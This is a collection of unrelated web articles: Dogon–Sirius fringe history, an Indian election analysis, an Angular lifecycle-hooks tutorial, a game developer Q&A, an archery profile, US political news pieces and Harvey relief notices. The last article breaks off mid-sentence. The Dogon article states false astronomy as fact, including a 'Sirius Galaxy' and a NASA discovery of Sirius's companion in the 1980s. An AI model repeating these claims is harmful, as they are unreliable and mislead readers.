-In recent years, much information about the ancients has circulated online, some of which is ill-informed and on the other hand, some of whi...  http://humansarefree.com/2017/04/the-mysterious-connection-between-dogon.html  In recent years, much information about the ancients has circulated online, some of which is ill-informed and on the other hand, some of which may be shockingly accurate.  One of the most controversial topics in the field of archaeology and anthropology is the interpretation of the teachings of Ancient Egypt.Many scholars in recent years have identified uncanny similarities in the beliefs and traditions of the ancient land of Khemit and schools of thought around the ancient world.One of the more compelling arguments for the disbursement of the sacred traditions and astronomical knowledge of the ancient Egyptians comes from researcher and author Laird Scranton In his work, he makes some interesting correlations between the people of the Dogon tribe of Mali and those from the ancient land of Khemit.Inspired by the work of Robert Temple, who’s 1976 book “ The Sirius Mystery ” which would go on to influence future researchers, Scranton pointed out the cosmological significance of the Dogon beliefs.In his work, “ The Science of the Dogon ,” Scranton describes the incredible accuracy with which the Dogon people were able to use their language and symbols to account for complex scientific facts that wouldn’t be discovered in the West until the 20th century.Yet, mainstream scholars who reject the notion of this kind of advanced understanding of Sirius by a tribe deemed primitive, proclaim that the Dogon-Sirius mystery is nothing more than a 1965 hoax put on by two French anthropologists Grisule and Dierterlen.The two were the first to reveal such an unusual idea to the public in an unprecedented filmed interview.Since then, not a single anthropologist has corroborated the findings, although the subject has been heavily examined by independent researchers.But Laird is quick to point out that there are many more mysteries surrounding the knowledge of the Dogon priest (Hogon) that can’t be chalked up to a single interview.According to the Earth Center, Master Neb Naba Lamoussa Morodenibig, a modern day Kemetic Dogon priest claims that the Dogon tradition has been preserved over time and it’s origins lie in Egypt.When considered, how did these two French men have enough knowledge of the workings of the Sirius star system for such an elaborate hoax? The second star of the Sirius Galaxy, referenced by the tribe, wasn’t discovered by NASA until the 80s Could all of it be true? Could the Dogon people really have had a complex scientific understanding of the cosmos? And more could this ancient knowledge go back to ancient Egypt?
-Ever since he was declared BJP's chief ministerial candidate from Himachal Pradesh, former chief minister Prem Kumar Dhumal had little respite. Besides the other candidates in the fray who sought his presence at their election rallies, he was pursued during and after the campaign by senior bureaucrats and others seeking plum posts and other favours after the elections.  With virtually everyone calling the state Assembly elections in favour of the BJP, the writing on the wall was clear. Except that hardly anyone expected the two-time chief minister Dhumal to lose even as his party won hands down. He was undoubtedly the tallest leader of his party in the state. It was perhaps for the first time that the chief ministerial candidate of BJP as a winning party had lost his own election.  The party had initially decided to go for elections without a chief ministerial candidate. However midway during the election campaign, the BJP seeking to wrest power from Congress, developed cold feet and decided to go for naming Dhumal as its chief ministerial candidate. It evidently decided on course correction following reports that the confusion over a candidate was causing bad blood and uncertainty among its cadres in the state.  The party had been selective in the past about decision to name chief ministerial candidates. It named Kiran Bedi as its chief ministerial candidate from Delhi and faced a humiliating defeat. It did not name any in Bihar Assembly election and lost. It, then, named Sarbananda Sonowal as its chief ministerial candidate in Assam and won. However, it did not name anyone in the neighbouring Uttarakhand and still won.  The choice was among former chief minister Shanta Kumar, Dhumal and Union health minister JP Nadda. Shanta Kumar was ruled out because of his age as he qualified for the margdarshak mandal. Nadda, known to be close to Prime Minister Narendra Modi, could afford to wait for his chance later because of his young age and the fact that he didn’t have grassroots support. The party picked up 73-year-old Dhumal who was known to be popular among all sections of the party cadres.  Dhumal had swapped the seat of power with the incumbent chief minister Virbhadra Singh twice in the past and was considered the most suitable choice to take on the Congress. Another important factor for declaring him as the chief ministerial candidate was his influence across Hamirpur and adjoining districts. Besides, he had just two years before he would have attained the ‘retirement’ age as per the policy decision taken by the party. That would have opened up chances for other aspirants who could have led the party to the next elections.  Ironically, while several BJP candidates owe their success to the influence and support extended by Dhumal, he himself lost to his protégé and one-time man Friday, Rajinder Rana. A businessman, who also delved in real estate, Rana is a soft spoken and sincere person known for his humility and simplicity.  It was well known that Dhumal himself had given him the green signal to nurture the Sujanpur Assembly constituency and it was almost certain that he was to be nominated party candidate during the previous Assembly elections in 2012. However, he was denied the ticket by the party high command to accommodate the choice of another senior party leader.  Rana has assiduously cultivated the constituency. So much so, that he was in personal touch with almost all families in the constituencies. He organised mass weddings for the poor and ensured that the local women were given free vocational training. He also made it a point to visit each family which had lost a dear one and attended virtually all weddings in the constituency.  Given the popular support he enjoyed, Rana decided to rebel and won hands down as an independent candidate. He then joined hands with Virbhadra, who led the Congress government but didn’t join the party to avoid attracting provisions of anti-defection law.  However, on the eve of the 2014 Assembly elections, he resigned from his seat and joined the Congress to contest as its Lok Sabha candidate against Dhumal’s son Anurag Thakur. He also made his wife contest the Assembly seat vacated by him. Both lost the elections.  Congress, again, nominated from the Sujanpur constituency this time and he had little inkling that his rival would be his mentor Dhumal. Apparently, even Dhumal was not prepared for it but went by the party high command’s suggestion that his candidature from the constituency would help other party candidates in the adjoining areas.  There lies the unresolved question : A section of BJP leaders, particularly those close to Dhumal, say it was a deliberate ploy to make him contest from a tough constituency instead of the constituency from he had won several elections in the past. The finger of suspicion is being raised against Nadda who had a major say in selection of constituencies and candidates. However, all this is in realm of speculations. The fact is that a confident Dhumal went along the party high command’s suggestions and never protested the decision to change his constituency.  In a twist of irony, Dhumal and Rana reached the district electoral officer almost at the same time to file their nominations. Rana promptly touched his feet and sought his blessings. Dhumal reciprocated by blessing him. On the counting day Dhumal remained confined to his residence as his fortune fluctuated with each round of counting. Finally he lost by about 1090 votes.  Although Dhumal declined to comment on the likely chief ministerial choice or even his own candidature, it is believed that among the two top contenders for the post now are Nadda and a former senior minister Jai Ram Thakur. Unless the party springs a surprise by nominating a dark horse like it did in case of Yogi Adityanath in Uttar Pradesh.  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-Angular component, $watch and $destroy without $scope — exploring lifecycle hooks  Dvid Silva Blocked Unblock Follow Following Apr 2, 2016  Angular 1.5.3 introduced something new to the directive controllers that I’m liking a lot, I have seen very little about it online, so I decided to share.  I started using the component method recently, very excited about it, I had been writing component directives before, using controllerAs and avoiding $scope as much as possible, so it felt kinda dirty having to inject $scope in order to use $watch and $destroy.  Angular 2 introduced lifecycle hooks, https://angular.io/docs/ts/latest/guide/lifecycle-hooks.html  A Component has a lifecycle managed by Angular itself. Angular creates it, renders it, creates and renders its children, checks it when its data-bound properties change, and destroys it before removing it from the DOM.  Angular offers component lifecycle hooks that give us visibility into these key moments and the ability to act when they occur.  They were recently introudced in Angular 1.5.3, the way to use them is the following.  In your controller function inside the component, you can add a function to each one of them, the function will be called from the compiler when is relevant if the function exists.  var vm = this;  vm.$onInit = function () {  $log.log('initializing controllers, setting default values');  vm.hello = "hello world!";  };  vm.$onChanges = function (changes) {  $log.log(changes);  };  vm.$onDestroy = function () {  $log.log('destroying controller');  };  vm.$postLink = function () {  $log.log('$postlink, ready to add dom event listeners');  }  The docs explain them quite better than me, https://docs.angularjs.org/api/ng/service/$compile  $onInit() — Called on each controller after all the controllers on an element have been constructed and had their bindings initialized (and before the pre & post linking functions for the directives on this element). This is a good place to put initialization code for your controller.  $onChanges(changesObj) — Called whenever one-way (<) or interpolation (@) bindings are updated. The changesObj is a hash whose keys are the names of the bound properties that have changed, and the values are an object of the form{ currentValue, previousValue, isFirstChange() }. Use this hook to trigger updates within a component such as cloning the bound value to prevent accidental mutation of the outer value.  $onDestroy() — Called on a controller when its containing scope is destroyed. Use this hook for releasing external resources, watches and event handlers. Note that components have their $onDestroy() hooks called in the same order as the$scope.$broadcast events are triggered, which is top down. This means that parent components will have their $onDestroy()hook called before child components.  $postLink() — Called after this controller’s element and its children have been linked. Similar to the post-link function this hook can be used to set up DOM event handlers and do direct DOM manipulation. Note that child elements that contain templateUrldirectives will not have been compiled and linked since they are waiting for their template to load asynchronously and their own compilation and linking has been suspended until that occurs.  I made a working example so you can see them in action and see when different events are happening: http://codepen.io/anon/pen/eZGJNg , missing $onDestroy, but you get the idea.
-Ladies and gentlemen, we are excited to present to you our grand pre-release Q&A blog for Holdfast: Nations At War! We have always been keen on transparency. Primarily this is to keep you up to date with our progress but it also allows us to go a step forward and involve our community with the development of the game. Holdfast: NaW will be available to play through Steam Early Access on September the 21st.  Today we’ll be answering some of your most-asked questions on Holdfast: Nations At War. Before we continue, we recommend that you head over to our previous blog post as we have not gone into detail on things already discussed over there.  Developer Blog 17 - Holdfast: Nations At War releases this September the 21st!  Anvil Game Studios. Meet the core development team  Holdfast: Nations At War is being built from the ground up by a core development team of 3! Andrew “Refleax” Farrugia, the Producer is to the left, Andreas “Dreas” Grech the one and only Programmer working on the game sits to the right and Julian “Rycon” Farrugia the lead 3D Artist, is standing in the middle.  We’re a small indie team putting long hours into something that we all love to do. We are giving it our all to make Holdfast: Nations At War truly great.  Steam Early Access. Alpha phase  Holdfast: Nations At War is still under active development (and will be for some time).  This Alpha state means that some of its features and content are more polished than others. Improvements are ongoing for the core mechanics of the game such as the melee and naval combat along with player count optimisations. On that base, we also plan on the inclusion of new features such as cavalry, new factions and maps. We know what the community wants and we’re working on it!  Constant game updates. Onwards to release  We very well understand our responsibility towards our Early Access supporters in bringing it out of that phase and into a full release. In order to achieve this in a timely fashion, we will be pushing out regular updates and improvements to the game based on our development roadmap. We will also be releasing changelogs with each and every build to provide you with greater visibility of our progress. We feel that visibility and community involvement within development will be the secret to a successful transition from Early Access to release.  1. Is the melee combat directional and what are your priorities towards this mechanic?  On Our Forum  The melee combat system in Holdfast: Nations At War is based on a directional system. This means that you can strike and block in four directions. Not all of the weapons within the game can use all four directions. We feel that this system is incredibly important to the success of Holdfast: NaW and so we are working hard to develop it into something that plays and feels great.  Since we first announced the game, we have been working closely with members of our competitive community during our closed-testing to improve upon this core mechanic of the game. Our heartfelt thanks goes out to them for allowing us to take up their time to gather their feedback!  Work on melee combat is currently ongoing. We understand that melee combat is important to help with sustaining a healthy and competitive player base. This is why we’ve placed improvements and additional functionality for this mechanic at the very top of our priority list.  We will also continue to consult with our wider community on our way forward when the game is out on Early Access to gather further direct feedback. You can join in the discussion on melee combat here:  Melee Combat - Send us your feedback!  2. Can you tell us more about the available firearms and shooting mechanics?  On Facebook  As the game is set during the Napoleonic Wars, the firearms of the time were very different. The reliance on muzzle-loaded smoothbore muskets (and less often rifles) means a longer reload time. The accuracy of these weapons is also limited to a much smaller range. You will often have to rely on your sword or bayonet during combat.  Other than that, they operate similarly to a traditional shooter, right click to aim and left click to fire. Besides muskets and rifles, you will also find other firearms present in the game such as pistols and blunderbusses.  Each and every firearm has different characteristics. We have developed a system that correctly maps projectile trajectories while taking multiple mechanics into account like velocity, accuracy and arching bullet drop. This will come in especially handy for those crews and regiments looking at training their men with the use of firearms! This functionality can be toggled on and off by server administrators.  Here’s a first-hand look at some firearms you’ll be seeing get into the game during Early Access! They’ll be there to complement both existing and new classes.  French Firearms (Work In Progress)  British Firearms (Work In Progress)  3. Will you be releasing the server files to the public?  On Facebook  Yes! You will be able to host your own servers on day one within Early Access. We know how important it is to allow the community to host their own servers so events can start taking place.  We will also be providing you with documentation which goes into detail on how to setup and administer your own server.  4. Do you have any plans for player built defences?  On Twitter  Player built defences will be constructed by the Sapper (Engineer) class which we will be working on during Early Access. You’ll see this present in our development roadmap for the game. We want the Sapper class to do more than just build defences however!  Our current thinking in terms of the engineer is as follows:  Reinforce Doors - Engineers can reinforce doors to increase their resistance to damage.  Repair - The sapper will also be able to repair destroyed artillery pieces, player built defences and other objects on the map.  Explosive Barrel - Engineers can construct and carry explosive barrels underneath fortifications to create breaches. Explosives can also be used to destroy bridges.  Gabions - Engineers can construct wickerwork defences filled with earth to provide cover.  Shooting Platform - Engineers can construct platforms to allow players to shoot above cover such as walls.  Chevaux De Frise - Engineers can construct chevaux de frise which damage cavalry if they touch them.  Infantry Spikes - Engineers can construct spikes which damage infantry if touched.  Trenches - Engineers can dig trenches on fort-based maps to provide cover on the advance.  Tunnels - Engineers can dig tunnels on fort-based maps. They can be used to carry explosives under the fort’s walls and create breaches. They can also be used as a direct entrance to a fortification.  Firing Holes - Engineers can construct firing holes inside walls (in certain places) so that players can fire from them.  Chairs - Engineers can construct chairs because chairs are nice.  You’re very welcome to share with us your own ideas for the Sapper class. Holdfast: Nations At War is being developed based on community feedback.  5. What about Cavalry? I haven’t seen it in the announcement trailer. Can you tell us if you plan on including it or not in the game?  On Our Forum  Yes! Cavalry will be making an appearance within Holdfast: Nations At War during Early Access. We've already planned ahead for their inclusion in the game whilst working on other systems and mechanics.  We would have never promised this feature to our community unless we had already done our research and preparation. We’re very much looking forward to the day we see them in the game ourselves.  6. How many classes do you plan on including in the game?  On Facebook  The greater the selection of classes, the more versatile gameplay will be! There are more classes already present within the game which have yet to be revealed. The selection of playable classes currently totals to 17. Be sure to keep an eye out on our Facebook and Twitter during the coming days.  To start off, here’s a better view of the captain class. Captains have priority over the rest of the crewmen when it comes to sailing a naval vessel. They also come equipped with a pistol, sword, lantern and a spyglass.  7. Will we be seeing new classes get into the game during Early Access?  On Facebook  We have already talked about cavalry and sappers above, and you can see a render of a third class below which you may be able to recognise yourselves! Plans for additional classes to make it into the game other than what we’ve mentioned here are also being discussed.  On top of this, we are also going to be working on expanding the features of all the current classes.  British Uniform (Work In Progress)  French Uniform (Work In Progress)  8. Can you tell us more about game modes?  On Facebook  If you have seen our interview with Historia Games a few months backs, you will already be familiar with this question. Army based game-modes indicate that they are land-only (no ships!) while Naval and Coastal game-modes indicate that they are either purely naval or a combination of both sea and land.  Army Battlefield - Push back the enemy faction's troops until their reinforcements deplete. By depleting their reinforcements, players won't be able to spawn for that faction anymore. If you're still alive on the battlefield and your faction's reinforcements deplete, you will have to commit to your last stand! Players will also spawn in waves in this game mode.  Army Assault - This game mode is an unforgiving single-life battle to the end. The first team to annihilate the other wins the fight.  Army Death Match - Traditional respawning chaos in which a player struggles to kill more of the enemy until the timer ends.  Army Siege - One team holds a fortified position that the opposing side must take. Siege maps have multiple capture points. The defenders spawn in waves in the following game mode and have limited reinforcements.  Naval Battlefield - Two fleets of ships with limited respawns per-vessel fight to the last in a naval engagement.  Naval Assault - Be wary of your opponent’s guns. You only have one life. Sink the other faction’s ships or eliminate their crewmen to win the match.  Coastal Siege - Combined gameplay on land and sea! Two sides clash over a coastal fortification.  You’ll be seeing more land-based fortifications added to the game during Early Access. We have already mentioned some of our plans for the Army Siege game mode whilst talking about the Sapeur class in this blog post. Here’s a preview of something we’re working on right now:  Star Fort (Work In Progress)  9. How many maps are in the game right now? Will you be working on additional game levels during Early Access?  On Discord  We have a total of 14 maps ready and playable in Holdfast: Nations At War. Keep an eye out on our Facebook and Twitter as we regularly showcase more maps as we get ever closer to our Early Access launch date.  You can also head over to our website from the link below to check out the maps we have revealed so far.  Holdfast: Nations At War - Diverse Map Selection  The selection of maps available on land, sea and coast will continuously expand before, during and even after Early Access. There are a total of 7 maps which are currently undergoing development. Here’s a preview of three of the maps that you’ll be seeing get into the game during its Early Access phase.  Land Based Map 1 (Work In Progress)  Siege Map (Work In Progress)  Land Based Map 2 (Work In Progress)  We are also taking what you are saying into account when it comes to the design of our maps. The most obvious example of this is the creation of a place for you and our entire community as a whole to share with us your map ideas! You’re most welcome to join in the discussion by heading here:  Map Concepts - Share with us your Ideas!  10. Will you be working on a map editor?  On Discord  Yes, we would certainly love to provide our community with tools to design and create maps. Even though right now our priorities are towards the core mechanics of the game, we have already put a lot of thought into the technicalities behind a map editor! Steam workshop integration would also greatly complement this feature.  The map editor will be listed in our development roadmap for the game.  11. What is the development roadmap?  On Our Forum  The development roadmap details a list of new features for all of the theatres of combat within the game as well as improvements to existing systems. We will be releasing the development roadmap at the same time as we release Holdfast: Nations At War on the 21st of September.  Within the roadmap you’ll be seeing our plans for the inclusion of cavalry, the sapper (engineer) class, player built defences, improvements upon the directional melee combat system, our ongoing dedication towards supporting high player counts, the ability to host single elimination tournaments, new maps, naval vessels, artillery pieces, additions to artillery mechanics, factions and firearms, sounds, additional voice acted orders and more!  We’ll also be showing work in progress snippets in our roadmap to continuously assure you on our dedication towards the project as we've been doing throughout this Q&A blog. Here’s a preview of something which I am personally really looking forward to seeing added to the game during Early Access! You will also be able to fire these bad boys from boats.  Rocket Artillery (Work In Progress)  Work on redesigning the spawn menu is also ongoing. The user interface is yet another aspect of the game that we’ll be focusing on during Early Access. You’ll be seeing it listed in our development roadmap. Here’s a look at our progress in this area! We’re also thinking ahead on how to allow players to select different uniforms for the same class from this interface.  Spawn Menu UI - Equip Weapon (Work In Progress)  In order to respond to the wishes of the community, we are open to changes in both content and priority within our roadmap as development continues. For instance, as we have mentioned before a significant step will be the decision over which faction to add to the game next.  12. Will you continue developing the game after Early Access?  On Facebook  Yes, we chose the Napoleonic era for our first title because it provides us with an almost endless possibility for content to expand upon. We have also taken the fight in Holdfast: Nations At War from land to include the sea as well as the coast to further broaden the scope of the game.  Our team is also very keen on the period which helps on the long days and difficult development problems! We know that the community that enjoys the type of gameplay we offer are also very passionate. Involving our community throughout the game’s development will be important for its success.  13. Why did you decide to go into Early Access?  On Discord  Early Access plays a key role in allowing us to remain independent. We are currently self-funding Holdfast: Nations At War to avoid any sort of outside influence to the development of the game and remain community oriented. We also want to create the game without the need for accepting donations or loans largely as part of our overall motivation and dedication to this project and our community.  Our team takes great pride in being able to self-finance and create our game from scratch. We firmly believe that a work of passion properly pursued will always result in a game of higher quality.  Shaping the game together with our players is going to play a major role in ensuring its success. We have been gathering and working directly based on feedback since the very early stages of the game’s development and we will continue to do so throughout development. Early Access will enable all of our followers with a direct opportunity to provide us with feedback while we continue to improve existing features as well as well as include new content within the game.  14. How much will the game cost?  On Our Forum  Holdfast: Nations At War will be priced at 19.99 EUR when it is released on Early Access this September. We are also taking measures to reduce the price from the original 19.99 EUR mark depending on the country you currently reside in - This is to make sure that the game is affordable for everyone.  Here are a few examples of the pricing of the game in different currencies:  Turkish Lira - TL31.00, GP Pounds - £14.99, Canadian Dollar - CDN $21.99 Etc.  15. Will you be working on Player Count optimisations during Early Access? How many players can you support per server right now?  On Our Forum  Yes, indeed! Supporting high player counts along with other optimisations and improvements to core mechanics (such as the melee combat) will be at the forefront of Holdfast: Nations At War. The larger the player-count is, the more enjoyable the experience will be.  Andreas (Our sole programmer!) has been working tirelessly towards this goal. You don’t see high player counts being supported in games very often because it’s an extremely difficult and time-consuming feat to achieve. CPU, GPU, RAM, bandwidth and a whole range of other optimisations are required to support even the most basic number of players per server.  Since we announced the game back in July, Andreas has managed to ramp up the player count to over 120 players on land per server! Needless to say, we won’t be stopping right here. We will be continuously working on this both before and during Early Access. We want to see epic Napoleonic battles rage on just as much as you do.  To this effect, the stress tests we’ve been hosting throughout this month have provided us with a lot of technical information for the way forward on player count optimisations. We already know what needs to be done in this area to increase the number of players per server.  We will keep you informed as this number grows during and after Early Access. More testers are being invited on a case by case basis to drive up the numbers in our events.  16. Will you be including additional factions into the game?  On Discord  We will be including new factions in Holdfast: Nations At War - The community will be involved in our decision as to which faction is brought first into the game during Early Access.  17. Will you be translating the game into other languages?  On Steam  We'll be translating the game to multiple languages after the game is released on Early Access. We hope to involve the community in deciding the priority for localisation.  18. What are the system requirements?  On Steam  We’re doing our best to support dated computer hardware (within reason!). Another method for allowing a wider range of systems to run the game is to give you a wide variety of settings and presets with which you can reduce graphical quality in favour of performance. You can have a look at this yourself in the screenshots down below.  We will be utilizing the last few weeks before our Early Access release to investigate the minimum hardware requirements to run the game. This information will be made visible to everyone under the system requirements on our Steam store page along with our recommended system requirements for best gameplay.  19. How will the community be involved in the development of the game?  On Our Forum  A simple and effective format will be the invitation to our player-base to voice their opinion about gameplay features, priorities and preferences through polls. We will also frequent discord and our forums for more direct communication.  Our competitive community is currently being involved in tests for the game to provide us with direct feedback of which we then work on. We will continue doing this during Early Access as well.  You have our word that Holdfast: Nations At War is and will always be community driven!  20. Will there be a single-life game mode available during the Early Access launch?  On Discord  Yes, join a server hosting the Army Assault game mode and you’re good to go.  21. How many ships do you have in the game?  On Our Forum  We have four sea vessels in the game so far excluding the rowboat. The 2-Gun Schooner and the 12-Gun Brig-Sloop have been revealed already and we plan to extend this roster during Early Access. Look forward to what we’ll be showing in our development roadmap!  We’ll also be taking this opportunity to reveal yet another naval vessel ready and playable for the first day we release on Early Access. You can have a look at the 8-Gun Schooner based on the HMS Berbice down below.  22. Do you consider the naval combat as a core part of the game? Do you have any plans for bigger ships?  On Our Forum  Yes, it is a core part of the game! The fight at sea played a huge role during the Napoleonic era. Naval combat goes beyond riding floating platforms blasting each other, players will have to cooperate to operate these vessels while taking things like wind direction and ship destruction into account.  We do plan on adding larger ships to complement our current selection and the frigate class of ship seems to be a good place to start from. Work on this front has also been ongoing!  We’ve been thinking about leaving this as a small surprise for our development roadmap but we couldn’t wait to show it off. Armed with enough guns on her broadsides to bring a quick end to other naval vessels, here’s a first-hand look at the French frigate ‘La Proserpine’.  Frigate 'La Proserpine' (Work In Progress)  23. How do you plan on supporting the competitive scene of the game?  On Our Forum  By the implementation of direct features and the hosting of official competitive events. The latter will start a few weeks after we release on Early Access. This will provide a precedent for regiments and crews to compete against each other. We’re also in contact with some casters and YouTubers who have already offered to give us a helping hand along the way.  Here’s a shot from the “Sunday Napoleonic Battle” event we’ve been hosting during our closed testing for the game. We’re looking forward to continuing doing this!  24. Will there be weather in the game?  On Our Forum  Yes, we have recently revealed the dynamic weather system on our social media. You can see the weather transition from clear skies, to rain, storm, snow and fog in the game. All of this is also configurable by server administrators through a selection of presets during the match.  Here are a few shots of the weather system on both land and sea.  Early Access will be used for its intended purpose! To allow the community to get involved with the game as it develops.  If you made it through all of that you deserve a medal. This brings us to the end of this Q&A but you can look forward to further releases as we make our way towards our Early Access release on the 21st of September. You’re more than welcome to get in touch with us on our forums or discord.  Feel free to join in the discussion on our forums here and as always, may good health be yours.  Once again thank you for all of your support from all of us on the Holdfast: NaW team,  - Peter, Andrew, Julian, Andreas, Nico, Cameron & Tassilo  Anvil Game Studios
-Some pictures courtesy Yoshi Komatsu.  Each week in the lead up to the Rio 2016 Olympic Games, we’ll be revealing another athlete on our list of the top 15 Olympic archers of all time. This week, it’s…  NOC: Korea  Born: 1 January 1983, Incheon, South Korea  Olympic caps: 2 (Athens 2004, Beijing 2008)  The Medals  Athens 2004 Olympic Games Athens 2004 Olympic Games Beijing 2008 Olympic Games Beijing 2008 Olympic Games  The quote  “The Olympics… were the best memories of my life. Even when I look back at them now, they’re overwhelming, exciting, and unforgettable.” – Park Sung-Hyun  The Reason  Park Sung-Hyun is the greatest Olympic archer of the 21st century. She took three golds and a silver medal from just two Games, set standards that remain unmatched today and came within a single arrow of defending an Olympic individual title.  She started archery aged 11.  “My teacher suggested it to me. I didn’t know anything about archery, but I thought it sounded fun and exciting,” she said. “I feel deep gratitude towards that teacher who has made me who I am today.”  Aged just 18, Park won the World Archery Championships in Beijing in 2001, and the world team title two years later. She was already being noted for her incredible form and an intimidatingly ice-cold approach to competition that she would maintain throughout her career.  “I think it’s important that you know how to control yourself. No matter how good your posture or your timing is, you can ruin the whole moment with just one mistake by tensing up too much or straining yourself with emotional issues,” she explained.  “At every tournament, all of the athletes become your competitor. But personally, I prefer not to think that way. During a match, I’m thinking that the only person I’m battling with is myself.”  Her Olympic debut came at Athens 2004, where she broke the world record in the ranking round with 682 – a record that was to last for another 11 years. She won all her matches by at least a 10-point margin to face compatriot Lee Sung Jin in the final.  Despite trailing Lee by three points early on, she managed to tie the score with one arrow left. Lee shot an eight, and Park shot a 10. She had the individual gold, on her debut.  “I didn’t actually expect that I’d get a gold medal. All I could think of was how much hard effort I had put in to get there, and I was just so relieved that the match was over,” she said. “I was finally able to feel the excitement of winning – after being reassured that it had all ended!”  The team event came two days later. Park, Lee and Yun Mi-Jin faced off with China in the final at the Panathenaic Stadium.  The Koreans needed 27 points from their last three arrows to win, and all three were down to Park. She shot a nine, but then an eight. One of the Chinese team, Zhang Juan Juan, appeared to do a small victory dance as if they had already won. But Park coolly shot a 10 with the last to secure the gold medal.  “Do you know, if I had aimed for a 10, I’m sure I would not have got a 10? I resigned myself to the divine will, and then I calmed down,” Park said.  In an interview that year with the Korea Times, when asked who had made the biggest impression on her, Park mentioned Zhang, and said: “I hope we meet again in Beijing.”  Her words proved prophetic.  At Beijing in 2008, the team of Park, Joo Hyun Jung and Yun Ok Hee were particularly dominant, breaking two world records and destroying France by 29 points in the semifinal to again face China – again, featuring Zhang Juan Juan – for the gold. Once again, Park had to shoot the last arrow, but the Chinese threat had fallen away and she needed just a two to claim victory. It was a perfect 10.  Three gold medals - and a fourth beckoned. Seeded first in the individual competition, Park strolled untroubled through five matches to face Zhang in a rain-swept final. But the Chinese archer had already defeated the other two Korean women, and was shooting the match of her life in front of a noisy home crowd.  Both were tied on 101 points with 11 arrows shot. Park shot first – and sent an eight down the field. The door was open, and Zhang’s nine was good enough. It was ‘just’ a silver.  “Looking back at it now, I feel like I could’ve done better.” she said, speaking in 2016. “It was the last Olympics of my life, and I was maybe too greedy about getting the gold medal. I ended up not being careful enough with my actions. But I trained my hardest, and have no regrets.”  In addition to her Olympic and World Archery Championship medals, Park won individual and team gold at the Asian Games, Asian Championships, and the Universiade. In 2004, she set the most famous of her many world records, and one that still stands 12 years later: 1405 points on the 1440 Round. No recurve archer, male or female, had gone over the 1400 mark before or has since.  (The 351 she scored on the 36-arrow 70-metre portion is also a world record!)  Park now focuses on coaching.  “My dream as an archer was to take over the whole world. But now that I’ve achieved my dreams as a gold medallist and a leader, my dream is to now train the next best player to take over the world,” she said. “And since Olympic archery still isn’t a very familiar sport in Korea, I’d like for it to become more approachable and fun for people who are interested in learning it.”  Married to fellow legend Park Kyung-Mo, she has three daughters – a team.  “I think you can pass on the genes,” she said, laughing: “But I want them to enjoy archery genuinely without feeling any pressure about it.”  She’s never quite ruled out a return to the sport though, and coyly admitted: “I still enjoy shooting very much. I might consider returning to professional archery in the future if people would like to watch.”  Park has, many times, paid tribute to her long-time coach, Seo Oh Seok.  “He taught me many things about sincerity, effort and how to genuinely enjoy archery. He dedicated his whole life to archery, and his passion for it is not comparable to any athletes out there. He was the biggest reason I was able to win gold. I still receive his advice and learn a lot from him,” Park said. “He made me realize that effort never betrays you in the end and that no one else can do it for you except yourself.”  Her final words were modest: “Really, I don’t think I’m that different than everyone else. I’m sure the other athletes were just as nervous as I was while preparing for an Olympics. If anything, I think I’ve had more luck than other people.”  “I was once told that Olympic gold medals are given to the chosen ones from heaven, so I don’t think I received them myself. So, I like to think of them as a gift I’ve received along with my coach, the staff and my loving family.”
-How are your taxpayer dollars being used to enforce the government shutdown? Police barricades line the World War II Memorial and cones are blocking the roads leading to Mount Rushmore. Over the weekend, the Amber Alert website was offline, but it has since been restored.  Today on Your World, Judge Andrew Napolitano said that while President Obama isn’t deciding where cones should go, he is instructing the executive branch about the nature of things that should be closed.  The judge told Neil Cavuto, “He has the discretion to take the money that the government has and spend it to deliver the greatest amount of services to the greatest number of people. Instead, he seems to be trying to cause the greatest discomfort to the largest number of people and blame it on those terrible Republicans.”  Judge Napolitano likened the federal government’s doomsday warnings to the sequestration. “[The president] tried to make life miserable, and it went back to normal. He’s trying to do the same thing now. When the media catches him, like [Neil] did with the Amber Alert, suddenly they have the money to put it back.”
-A Blood Drive on Monday, September 4, hosted in the Hall of Champions at Kyle Field, from 10 a.m. –4 p.m. All who are able are encouraged to donate blood.  on Monday, September 4, hosted in the Hall of Champions at Kyle Field, from 10 a.m. –4 p.m. All who are able are encouraged to donate blood. A Donation Rally is set for Saturday from 11 a.m. – 3 p.m. in Lot 100 (South side of Reed Arena) You can drop off clothing at Cox-McFerrin Wednesday-Friday from 9:00 a.m. – 5:00 p.m.  is set for Saturday from 11 a.m. – 3 p.m. in Lot 100 (South side of Reed Arena) Financial Donations to the American Red Cross through the BTHO Harvey initiative.  "Texas A&M University has always stood ready to help when called upon, and the events in Texas and the Gulf Coast present another opportunity for us to lend a hand," Texas A&M Director of Athleticssaid. "We want to provide a brief reprieve to all of those affected by this tragedy, as well as extend an expression of gratitude to all of the first-responders and volunteers that are working so hard to help the region return to normalcy."Game dates and kickoff times are already set for the two games: Nicholls State on Sept. 9 at 6 p.m. and Louisiana-Lafayette on Sept. 16 at 11 a.m.Guests utilizing these tickets are encouraged to park for free and ride via GET TO THE GRID game day shuttles. Other parking options are available here: https://transport.tamu.edu/Parking/events/grid.aspx Texas A&M Athletics also encouraged people interested in assisting with the relief effort to support the American Red Cross, as well as BTHO Harvey www.BTHOHarvey.org >, which is a student-led relief initiative at Texas A&M University.Here are three ways that people can help through BTHO Harvey:
-The U.S. Department of Education’s Office for Civil Rights issued an internal memorandum earlier this month announcing that it will investigate taxpayer-funded teachers and administrators who use biologically accurate pronouns for transgender students instead of the pronouns transgender students prefer.  Candice Jackson, the Trump administration’s acting secretary for civil rights within the Department of Education since April, issued the internal memo on June 6.  The memo explains “the effects of developments on the enforcement of Title IX” concerning transgender students.  Specifically, the memo declares, the federal government may investigate taxpayer-funded schools for “refusing to use a transgender student’s preferred name or pronouns when the school uses preferred names for gender-conforming students or when the refusal is motivated by animus toward people who do not conform to sex stereotypes.”  Jackson’s memo also explains that the Office for Civil Rights may choose to investigate teachers and administrators at public schools if they don’t act quickly whenever transgender students allege sex discrimination over “stereotyped notions of masculinity or femininity.”  In the event, Trump’s Office for Civil Rights explains, federal investigators would determine whether a failure to use the pronouns requested by a transgender student creates “a hostile environment.”  Liberty Counsel, a civil rights group focused on Christian religious freedom, notes that Title IX, a 1972 federal law banning discrimination on the basis of biological sex in education, does not address pronouns chosen by transgender students.  “Title IX does not require a school district or teacher to call students by false gender pronouns,” said Liberty Counsel founder Mat Staver in a press release sent to The Daily Caller.  “Title IX is silent regarding the use of pronouns, and it cannot be a violation to refer to students by pronouns consistent with their actual sex,” Staver also said. “Requiring false pronoun usage by teachers is a compelled speech violation for teachers and compelling students to participate in a lie violates their right to free speech. I thought we had seen the last of this 